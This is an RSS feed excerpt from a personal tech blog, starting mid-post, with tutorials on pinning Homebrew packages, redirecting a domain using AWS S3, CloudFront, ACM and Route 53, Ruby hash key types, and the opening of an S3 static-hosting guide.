<pre tabindex="0"><code>brew pin terraform
</code></pre><p>The next time you run <code>brew upgrade</code> it will be skipped:</p>
<pre tabindex="0"><code>$ brew upgrade

Warning: Not upgrading 1 pinned package:
terraform 1.5.7
</code></pre><p>When you&rsquo;re ready to upgrade, you can unpin it:</p>
<pre tabindex="0"><code>brew unpin terraform
</code></pre></blockquote>

<h2 id="references">References</h2>
<ul>
<li>

<a href="https://docs.brew.sh/Manpage" target="_blank" rel="noopener">https://docs.brew.sh/Manpage</a></li>
<li>

<a href="https://docs.brew.sh/FAQ#how-do-i-stop-certain-formulae-from-being-updated" target="_blank" rel="noopener">https://docs.brew.sh/FAQ#how-do-i-stop-certain-formulae-from-being-updated</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Redirect One Domain to Another Using AWS S3 and CloudFront</title>
      <link>https://nelson.cloud/redirect-one-domain-to-another-using-aws-s3-and-cloudfront/?ref=rss</link>
      <pubDate>Thu, 16 Feb 2023 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/redirect-one-domain-to-another-using-aws-s3-and-cloudfront/?ref=rss</guid>
      <description>How to redirect a domain to another one using AWS S3, ACM, and CloudFront</description><content:encoded><![CDATA[<p>With AWS S3, it&rsquo;s possible to redirect one domain to another. This is useful when migrating domains.</p>
<p>I recently migrated my domain from <code>nelsonfigueroa.dev</code> to <code>nelson.cloud</code>, so I&rsquo;ll be using those domains as an example.</p>
<p>This guide assumes that you already have ownership or control of the domain you want to redirect.</p>
<h2 id="redirecting-the-old-domain-using-http">Redirecting The Old Domain Using HTTP</h2>
<p>This section covers the redirecting of the HTTP version of the old domain. In my case, this section covers how I redirected <code>http://nelsonfigueroa.dev</code> to <code>https://nelson.cloud</code>. There is an additional section you can read if you need to redirect the HTTPS version of the old domain.</p>
<h3 id="configuring-a-s3-bucket">Configuring a S3 Bucket</h3>
<p>To begin redirecting one domain to another, we need to create an S3 bucket.</p>
<p>Go to 

<a href="https://s3.console.aws.amazon.com/s3/" target="_blank" rel="noopener">Amazon S3</a> and click the &ldquo;Create bucket&rdquo; button.
I prefer to name the bucket with the same name as the domain being redirected, but you can choose any name you want.</p>
<p>Click into the bucket and then click on the &ldquo;Properties&rdquo; tab. Scroll to the bottom to the &ldquo;Static website hosting&rdquo; section and click the &ldquo;Edit&rdquo; button.</p>
<p>Set the following configuration:</p>
<ul>
<li>Under &ldquo;Static website hosting&rdquo; click the &ldquo;Enable&rdquo; radio button</li>
<li>Under &ldquo;Hosting type&rdquo; select &ldquo;Host a static website&rdquo;</li>
<li>Under &ldquo;Index document&rdquo; type in &ldquo;index.html&rdquo;, even though we won&rsquo;t need an index.html file.</li>
</ul>
<p>Finally, under the &ldquo;Redirection rules&rdquo; text box add the following (change the domain for your needs):</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;Redirect&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;HostName&#34;</span><span class="p">:</span> <span class="s2">&#34;nelson.cloud&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;Protocol&#34;</span><span class="p">:</span> <span class="s2">&#34;https&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>This rule will redirect to the new domain and append paths as well. So if a user goes to <code>nelsonfigueroa.dev/about</code> they will be redirected to <code>https://nelson.cloud/about</code>.</p>
<blockquote><p><strong>Tip:</strong></p>If you want to redirect to HTTP instead of HTTPS, you can change <code>&quot;Protocol&quot;</code> to <code>&quot;http&quot;</code>.</blockquote>

<img src="/redirect-one-domain-to-another/bucket-configuration.webp" alt="S3 bucket configuration" width="720" height="727" style="max-width: 100%; height: auto; aspect-ratio: 1516 / 1532;" loading="lazy" decoding="async">
<p>Then click the &ldquo;Save changes&rdquo; button at the very bottom of the page.</p>
<p>Make a note of the &ldquo;Static website endpoint&rdquo; URL at the bottom of the &ldquo;Properties&rdquo; tab. Next, we&rsquo;ll need to point the old domain to this endpoint.</p>
<h3 id="setting-up-dns-for-the-old-domain">Setting Up DNS for the Old Domain</h3>
<p>Next, we&rsquo;ll need to create a CNAME record that points the old domain to the bucket website endpoint. We can use Route 53 to do this.</p>
<h4 id="creating-a-cname-record-in-route-53">Creating a CNAME Record in Route 53</h4>
<p>On Amazon Web Services, browse to the Route 53 console.</p>
<p>First, make sure you have a public hosted zone in Route 53. If not, create one and specify the old domain name:</p>
<img src="/redirect-one-domain-to-another/creating-hosted-zone.webp" alt="Route 53 hosted zone" width="720" height="521" style="max-width: 100%; height: auto; aspect-ratio: 1662 / 1204;" loading="lazy" decoding="async">
<p>You will need to update the DNS nameservers for your domain specifying the nameservers that AWS provides to you in the hosted zone. This varies depending on the registrar so I will let you do some Googling for this part. It&rsquo;s pretty easy though :).</p>
<p>Next, create a CNAME record in the new hosted zone that points the old domain to the S3 Bucket Website endpoint.</p>
<blockquote><p><strong>Tip:</strong></p>In Route 53 specifically you can create an <code>A</code> record, enable the &ldquo;Alias&rdquo; toggle, and then select the S3 Bucket website endpoint. This is an alternative solution.</blockquote>

<img src="/redirect-one-domain-to-another/cname-record.webp" alt="CNAME record" width="720" height="464" style="max-width: 100%; height: auto; aspect-ratio: 2208 / 1424;" loading="lazy" decoding="async">
<p>After the CNAME record is created (and changes have propagated), all requests going to the old domain will be redirected to the new domain.</p>
<blockquote><p><strong>Warning:</strong></p>This will only work with HTTP requests to the old domain and <em>not</em> HTTPS requests.</blockquote>

<p>In my case, <code>http://nelsonfigueroa.dev</code> will be redirected to <code>https://nelson.cloud</code>, but <code>https://nelsonfigueroa.dev</code> will time out. This is because there is nothing redirecting the HTTPS version of the old domain.</p>
<p>If this isn&rsquo;t a problem to you, you are free to stop here. Otherwise, read on.</p>
<h2 id="redirecting-the-old-domain-using-https">Redirecting the Old Domain Using HTTPS</h2>
<p>To redirect the old domain when using HTTPS we&rsquo;ll need an ACM SSL Certificate and a CloudFront Distribution. This will allow the HTTPS version of the old domain to be redirected.</p>
<h3 id="requesting-an-acm-ssl-certificate">Requesting an ACM SSL Certificate</h3>
<p>Browse to the AWS Certificate Manager console. Make sure you are in the us-east-1 region by looking at the region on the top-right corner of the screen. Only ACM certificates from the us-east-1 region will work with a CloudFront Distribution.</p>
<p>Once you are sure you&rsquo;re in the us-east-1 region, click on &ldquo;Request certificate&rdquo; on the left-hand sidebar.</p>
<p>For the &ldquo;Certificate type&rdquo;, select &ldquo;Request a public certificate&rdquo;. Then click the &ldquo;Next&rdquo; button:</p>
<img src="/redirect-one-domain-to-another/request-certificate.webp" alt="Requesting public certificate" width="720" height="228" style="max-width: 100%; height: auto; aspect-ratio: 2214 / 702;" loading="lazy" decoding="async">
<p>In the following form, do the following:</p>
<ul>
<li>For &ldquo;Fully qualified domain name&rdquo;, enter the old domain (<code>nelsonfigueroa.dev</code> in my case)</li>
<li>For &ldquo;Validation method&rdquo;, select &ldquo;DNS validation&rdquo;</li>
<li>For &ldquo;Key algorithm&rdquo;, it&rsquo;s okay to leave it at RSA 2048. You can select a different algorithm if you&rsquo;d like.</li>
</ul>
<p>Then click the &ldquo;Request&rdquo; button on the bottom of the page.</p>
<img src="/redirect-one-domain-to-another/certificate-configuration.webp" alt="Certificate configuration" width="720" height="523" style="max-width: 100%; height: auto; aspect-ratio: 2208 / 1606;" loading="lazy" decoding="async">
<p>After the certificate is created we&rsquo;ll need to validate the certificate (we need to prove to AWS that we own this domain by creating a CNAME record in the hosted zone for this domain). Click into the certificate and scroll down to the &ldquo;Domains&rdquo; section. There will be a table with two columns named &ldquo;CNAME name&rdquo; and &ldquo;CNAME value&rdquo;. You will need to create a CNAME record in Route 53 with this name/value combination following the same procedure as before.</p>
<p>After the CNAME record is created, wait around 15 minutes and the certificate will be validated and you should see &ldquo;Success&rdquo; under the &ldquo;Status&rdquo; and &ldquo;Renewal status&rdquo; columns:</p>
<img src="/redirect-one-domain-to-another/validated-certificate.webp" alt="Validated certificate" width="720" height="78" style="max-width: 100%; height: auto; aspect-ratio: 2694 / 292;" loading="lazy" decoding="async">
<p>Now we can create a CloudFront Distribution and associate this certificate to it.</p>
<h3 id="creating-a-cloudfront-distribution">Creating a CloudFront Distribution</h3>
<p>Browse to the CloudFront console and click on the &ldquo;Create distribution&rdquo; button on the top right.</p>
<p>Fill out the form with the following:</p>
<p>For &ldquo;Origin domain&rdquo; select the S3 bucket you created for your old domain. Or you can paste in the S3 bucket website endpoint from earlier (this is what I did). Either one of these work for our case.</p>
<img src="/redirect-one-domain-to-another/origin.webp" alt="CloudFront Distribution origin" width="720" height="588" style="max-width: 100%; height: auto; aspect-ratio: 1646 / 1346;" loading="lazy" decoding="async">
<p>For &ldquo;Viewer protocol policy&rdquo;, select &ldquo;Redirect HTTP to HTTPS&rdquo;:</p>
<img src="/redirect-one-domain-to-another/viewer-protocol-policy.webp" alt="CloudFront Distribution viewer protocol policy" width="438" height="210" style="max-width: 100%; height: auto; aspect-ratio: 438 / 210;" loading="lazy" decoding="async">
<p>Under &ldquo;Alternate domain name (CNAME)&rdquo;, click the &ldquo;Add item&rdquo; button and enter the old domain in the field that appears (<code>nelsonfigueroa.dev</code> in my case):</p>
<img src="/redirect-one-domain-to-another/alternate-domain-name.webp" alt="CloudFront Distribution alternate domain name" width="720" height="173" style="max-width: 100%; height: auto; aspect-ratio: 1132 / 272;" loading="lazy" decoding="async">
<p>Under &ldquo;Custom SSL certificate&rdquo;, select the ACM certificate that you created earlier.</p>
<img src="/redirect-one-domain-to-another/ssl-certificate.webp" alt="CloudFront Distribution SSL certificate" width="720" height="120" style="max-width: 100%; height: auto; aspect-ratio: 1412 / 236;" loading="lazy" decoding="async">
<p>The rest of the settings can remain as is. Click the &ldquo;Create distribution&rdquo; button on the bottom of the page. Wait a few minutes for the distribution to deploy out. You&rsquo;ll know deployment is done when the “Last modified” field displays a date. Make a note of the &ldquo;Domain name&rdquo; column for your distribution. You&rsquo;ll need this value for the next step.</p>
<h3 id="updating-dns-to-use-the-new-cloudfront-distribution">Updating DNS to use the new CloudFront Distribution</h3>
<p>The final step is to update the previous record so that it points to the distribution instead of the bucket website endpoint.</p>
<p>Go to Route 53. Click into the hosted zone for the old domain. Then edit the record that was previously created. Instead of entering the S3 Bucket website endpoint in the &ldquo;Value&rdquo; field, enter the CloudFront Distribution domain name. Then click &ldquo;Save&rdquo;.</p>
<img src="/redirect-one-domain-to-another/editing-record.webp" alt="Editing Route 53 CNAME record" width="720" height="257" style="max-width: 100%; height: auto; aspect-ratio: 2740 / 980;" loading="lazy" decoding="async">
<p>Now both <code>http://nelsonfigueroa.dev</code> and <code>https://nelsonfigueroa.dev/</code> will redirect to the new domain.</p>
<h2 id="testing-the-redirect">Testing the Redirect</h2>
<p>You can test this out by entering the old domain in a browser prefixed with <code>https://</code>. Or you can test this out in a terminal with <code>curl</code>.</p>
<p>The HTTP version of the domain should give us a location header redirecting us to <code>https://nelsonfigueroa.dev</code>:</p>
<pre tabindex="0"><code>$ curl -IX GET http://nelsonfigueroa.dev

HTTP/1.1 301 Moved Permanently
Server: CloudFront
Date: Thu, 16 Feb 2023 05:55:35 GMT
Content-Type: text/html
Content-Length: 167
Connection: keep-alive
Location: https://nelsonfigueroa.dev/
</code></pre><p>And the HTTPS version of the domain should then redirect to the new domain <code>https://nelson.cloud</code>:</p>
<pre tabindex="0"><code>$ curl -IX GET https://nelsonfigueroa.dev

HTTP/2 301
content-length: 0
location: https://nelson.cloud/index.html
date: Thu, 16 Feb 2023 05:42:44 GMT
server: AmazonS3
x-cache: Miss from cloudfront
</code></pre><p>As a final test, we can make sure that paths are also redirected to the new domain. In other words, <code>https://nelsonfigueroa.dev/test-path/</code> should redirect to <code>https://nelson.cloud/test-path/</code>, and we should see this value in the <code>location</code> header:</p>
<pre tabindex="0"><code>$ curl -IX GET https://nelsonfigueroa.dev/test-path/

HTTP/2 301
content-length: 0
location: https://nelson.cloud/test-path/
date: Thu, 16 Feb 2023 05:58:52 GMT
server: AmazonS3
x-cache: Miss from cloudfront
</code></pre><p>It works, we are done!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Ruby Hash Key Types Vary Depending on Hash Syntax</title>
      <link>https://nelson.cloud/ruby-hash-key-types-vary-depending-on-hash-syntax/?ref=rss</link>
      <pubDate>Fri, 06 Jan 2023 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/ruby-hash-key-types-vary-depending-on-hash-syntax/?ref=rss</guid>
      <description>Key types in Ruby hashes depend on hash syntax.</description><content:encoded><![CDATA[<p>In Ruby, when a hash is created with keys and values, the keys may or may not retain their type depending on the hash syntax.</p>
<p>If a hash is created using &ldquo;hash rocket&rdquo; (<code>=&gt;</code>) notation then the keys will retain their type.
If the hash is written in JSON-style syntax, all keys become symbols.</p>
<p>In both scenarios, values will retain their type.</p>
<p>If a key is added to the hash after the hash has been created, that key will retain its type.
This can lead to situations where a hash has keys that are of multiple data types.</p>
<h2 id="hashes-with-hash-rocket-syntax">Hashes With Hash Rocket Syntax</h2>
<p>In the example below, a hash is created using hash rocket notation:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;A&#39;</span> <span class="o">=&gt;</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;B&#39;</span> <span class="o">=&gt;</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;C&#39;</span> <span class="o">=&gt;</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">puts</span> <span class="n">items</span><span class="o">[</span><span class="s1">&#39;A&#39;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">puts</span> <span class="n">items</span><span class="o">.</span><span class="n">keys</span><span class="o">.</span><span class="n">first</span><span class="o">.</span><span class="n">class</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The output is:</p>
<pre tabindex="0"><code>$ ruby script.rb

1
String
</code></pre><p>We can see that with hash rocket syntax the <code>A</code> key retained its string type and can be written as a string in <code>items['A']</code>.</p>
<h2 id="hashes-with-json-syntax">Hashes with JSON Syntax</h2>
<p>Let&rsquo;s see what happens if we take the previous example but change the hash syntax to use JSON-style colons:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;A&#39;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;B&#39;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;C&#39;</span><span class="p">:</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">puts</span> <span class="n">items</span><span class="o">[</span><span class="s1">&#39;A&#39;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">puts</span> <span class="n">items</span><span class="o">.</span><span class="n">keys</span><span class="o">.</span><span class="n">first</span><span class="o">.</span><span class="n">class</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The output is as follows:</p>
<pre tabindex="0"><code>$ ruby script.rb

Symbol
</code></pre><p>The empty line above <code>Symbol</code> is not a typo. In this case, <code>items['A']</code> doesn&rsquo;t exist because <code>'A'</code> is a symbol and should be written as <code>:A</code>. As a result, Ruby prints an empty value.</p>
<p>To get the expected value, we need to write <code>A</code> as a symbol inside <code>puts items[]</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;A&#39;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;B&#39;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;C&#39;</span><span class="p">:</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># writing A as a symbol</span>
</span></span><span class="line"><span class="cl"><span class="nb">puts</span> <span class="n">items</span><span class="o">[</span><span class="ss">:A</span><span class="o">]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Now we get the expected output:</p>
<pre tabindex="0"><code>$ ruby script.rb

1
</code></pre><p>We can see that JSON syntax turns all keys in the hash into symbols.</p>
<h2 id="mixing-hash-key-data-types">Mixing Hash Key Data Types</h2>
<p>It&rsquo;s possible to mix certain hash key data types (integers, strings, symbols) when using hash rocket syntax:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="mi">1</span> <span class="o">=&gt;</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;B&#39;</span> <span class="o">=&gt;</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="ss">:C</span> <span class="o">=&gt;</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">key</span><span class="p">,</span> <span class="n">value</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="nb">puts</span> <span class="s2">&#34;</span><span class="si">#{</span><span class="n">key</span><span class="si">}</span><span class="s2">, </span><span class="si">#{</span><span class="n">key</span><span class="o">.</span><span class="n">class</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The output from the code above is:</p>
<pre tabindex="0"><code>$ ruby script.rb

1, Integer
B, String
C, Symbol
</code></pre><p>However, if we change the hash rockets to colons, the code does not work:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="mi">1</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;B&#39;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="ss">:C</span><span class="p">:</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">key</span><span class="p">,</span> <span class="n">value</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="nb">puts</span> <span class="s2">&#34;</span><span class="si">#{</span><span class="n">key</span><span class="si">}</span><span class="s2">, </span><span class="si">#{</span><span class="n">key</span><span class="o">.</span><span class="n">class</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The code above throws the error:</p>
<pre tabindex="0"><code>$ ruby script.rb

syntax error, unexpected &#39;:&#39;, expecting =&gt;
</code></pre><p>This is because when using JSON syntax the keys must be written as strings (which are then converted to symbols).</p>
<h2 id="key-types-when-they-are-appended-to-hashes">Key Types When They Are Appended to Hashes</h2>
<p>Creating a hash with JSON-style syntax results in all keys being converted to the symbol data type.
However, if keys are added to the hash after creation, we can have keys of different data types.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;A&#39;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;B&#39;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;C&#39;</span><span class="p">:</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">[</span><span class="mi">4</span><span class="o">]</span> <span class="o">=</span> <span class="mi">4</span>
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">[</span><span class="s1">&#39;5&#39;</span><span class="o">]</span> <span class="o">=</span> <span class="mi">5</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">key</span><span class="p">,</span> <span class="n">value</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="nb">puts</span> <span class="s2">&#34;</span><span class="si">#{</span><span class="n">key</span><span class="si">}</span><span class="s2">, </span><span class="si">#{</span><span class="n">key</span><span class="o">.</span><span class="n">class</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The output is:</p>
<pre tabindex="0"><code>$ ruby script.rb

A, Symbol
B, Symbol
C, Symbol
4, Integer
5, String
</code></pre><p>We can see that the original 3 keys in the <code>items</code> hash were converted to symbols, while the new appended keys retained their data types.</p>
<p>This also works with rocket syntax hashes since they are more flexible about key data types:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;A&#39;</span> <span class="o">=&gt;</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;B&#39;</span> <span class="o">=&gt;</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;C&#39;</span> <span class="o">=&gt;</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">[</span><span class="mi">4</span><span class="o">]</span> <span class="o">=</span> <span class="mi">4</span>
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">[</span><span class="s1">&#39;5&#39;</span><span class="o">]</span> <span class="o">=</span> <span class="mi">5</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">key</span><span class="p">,</span> <span class="n">value</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="nb">puts</span> <span class="s2">&#34;</span><span class="si">#{</span><span class="n">key</span><span class="si">}</span><span class="s2">, </span><span class="si">#{</span><span class="n">key</span><span class="o">.</span><span class="n">class</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The output is:</p>
<pre tabindex="0"><code>$ ruby script.rb

A, String
B, String
C, String
4, Integer
5, String
</code></pre><p>The difference between the JSON-style hash and the rocket notation hash is that the original 3 keys in the <code>items</code> hash retained their type.</p>
<p>More information in the Ruby docs:</p>
<ul>
<li>

<a href="https://ruby-doc.org/3.1.2/Hash.html" target="_blank" rel="noopener">https://ruby-doc.org/3.1.2/Hash.html</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Hosting a Static Website on AWS Using S3 and CloudFront</title>
      <link>https://nelson.cloud/hosting-a-static-website-on-aws-using-s3-and-cloudfront/?ref=rss</link>
      <pubDate>Fri, 30 Dec 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/hosting-a-static-website-on-aws-using-s3-and-cloudfront/?ref=rss</guid>
      <description>How to host a static website on Amazon Web Services using S3, CloudFront, ACM, and Route 53</description><content:encoded><![CDATA[<h2 id="overview">Overview</h2>
<p>Using Amazon Web Services, we can easily set up a static site worldwide without the need to maintain servers and load balancers.</p>
<p>In this guide, I&rsquo;ll go over how I set up this site on AWS. I used the following AWS services:</p>
<ul>
<li>

<a href="https://aws.amazon.com/s3/" target="_blank" rel="noopener">S3</a></li>
<li>

<a href="https://aws.amazon.com/certificate-manager/" target="_blank" rel="noopener">Certificate Manager</a></li>
<li>

<a href="https://aws.amazon.com/cloudfront/" target="_blank" rel="noopener">CloudFront</a></li>
<li>

<a href="https://aws.amazon.com/route53/" target="_blank" rel="noopener">Route 53</a></li>
</ul>
<p>I recently migrated my domain from <code>nelsonfigueroa.dev</code> to <code>nelson.cloud</code>, so I&rsquo;ll be using this new domain as an example.</p>
<p>This guide assumes the following:</p>
<ul>
<li>You have already purchased a domain from a registrar like 

<a href="https://www.namecheap.com/" target="_blank" rel="noopener">Namecheap</a>, 

<a href="https://www.gandi.net/" target="_blank" rel="noopener">Gandi</a>, or 

<a href="https://porkbun.com/" target="_blank" rel="noopener">Porkbun</a>.</li>
<li>You have already signed up for an Amazon Web Services account.</li>
</ul>
<h2 id="creating-an-s3-bucket">Creating an S3 Bucket</h2>
<p>First, we&rsquo;ll need to create an S3 bucket. This is where static files (HTML/CSS/JavaScript/Images, etc) will go.</p>
<p>In the AWS console, browse to S3. Create a new bucket. I named my bucket with the same name as my domain.</p>
<p>Then click on the bucket and go to the &ldquo;properties&rdquo; tab. Scroll all the way to the bottom to the &ldquo;Static website hosting&rdquo; section. Click the &ldquo;Edit&rdquo; button. Now configure this bucket to host a static site:</p>
<ul>
<li>Under &ldquo;Static website hosting&rdquo; select &ldquo;Enable&rdquo;</li>
<li>Under &ldquo;Hosting type&rdquo; select &ldquo;Host a static website&rdquo;</li>
<li>In the &ldquo;Index document&rdquo; field, write in &ldquo;index.html&rdquo; (unless you want a different root page for your site)</li>
<li>Then click &ldquo;Save changes&rdquo;</li>
</ul>
